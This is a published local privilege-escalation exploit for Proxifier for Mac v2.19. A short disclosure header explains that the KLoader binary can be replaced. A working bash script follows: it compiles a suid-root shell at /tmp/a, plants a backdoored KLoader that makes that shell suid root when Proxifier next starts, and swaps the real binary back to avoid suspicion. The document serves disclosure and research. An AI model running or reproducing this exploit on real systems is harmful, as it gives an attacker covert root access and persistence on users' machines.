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# With CVE-2017-7643 I disclosed a command injection vulnerablity in the KLoader
# binary that ships with Proxifier <= 2.18.
#
# Unfortunately 2.19 is also vulnerable to a slightly different attack that
# yields the same result.
#
# When Proxifier is first run, if the KLoader binary is not suid root it gets
# executed as root by Proxifier.app (the user is prompted to enter an admin
# password). The KLoader binary will then make itself suid root so that it
# doesn't need to prompt the user again.
#
# The Proxifier developers added parameter sanitisation and kext signature
# verification to the KLoader binary as a fix for CVE-2017-7643 but Proxifier.app
# does no verification of the KLoader binary that gets executed as root.
#
# The directory KLoader sits in is not root-owned so we can replace it with
# our own binary that will get executed as root when Proxifier starts.
#
# To avoid raising any suspicion, as soon we get executed as root we can swap
# the real KLoader binary back into place and forward the execution call on
# to it. It does require the user to re-enter their credentials the next time
# Proxifier is run but it's likely most users wouldn't think anything of this.
#
# Users should upgrade to version 2.19.2.
#
# https://m4.rkw.io/proxifier_privesc_219.sh.txt
# 3e30f1c7ea213e0ae1f4046e1209124ee79a5bec479fa23d0b2143f9725547ac
# -------------------------------------------------------------------
#!/bin/bash
#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.19 #
#####################################################################
# by m4rkw, shouts to #coolkids :P #
#####################################################################
cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>
int main()
{
setuid(0);
seteuid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
EOF
gcc -o /tmp/a a.c
cat > a.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(int ac, char *av[])
{
if (geteuid() != 0) {
printf("KLoader: UID not set to 0\n");
return 104;
} else {
seteuid(0);
setuid(0);
chown("/tmp/a", 0, 0);
chmod("/tmp/a", strtol("4755", 0, 8));
rename("/Applications/Proxifier.app/Contents/KLoader2", "/Applications/Proxifier.app/Contents/KLoader");
chown("/Applications/Proxifier.app/Contents/KLoader", 0, 0);
chmod("/Applications/Proxifier.app/Contents/KLoader", strtol("4755", 0, 8));
execv("/Applications/Proxifier.app/Contents/KLoader", av);
return 0;
}
}
EOF
mv -f /Applications/Proxifier.app/Contents/KLoader /Applications/Proxifier.app/Contents/KLoader2
gcc -o /Applications/Proxifier.app/Contents/KLoader a.c
rm -f a.c
echo "Backdoored KLoader installed, the next time Proxifier starts /tmp/a will become suid root."
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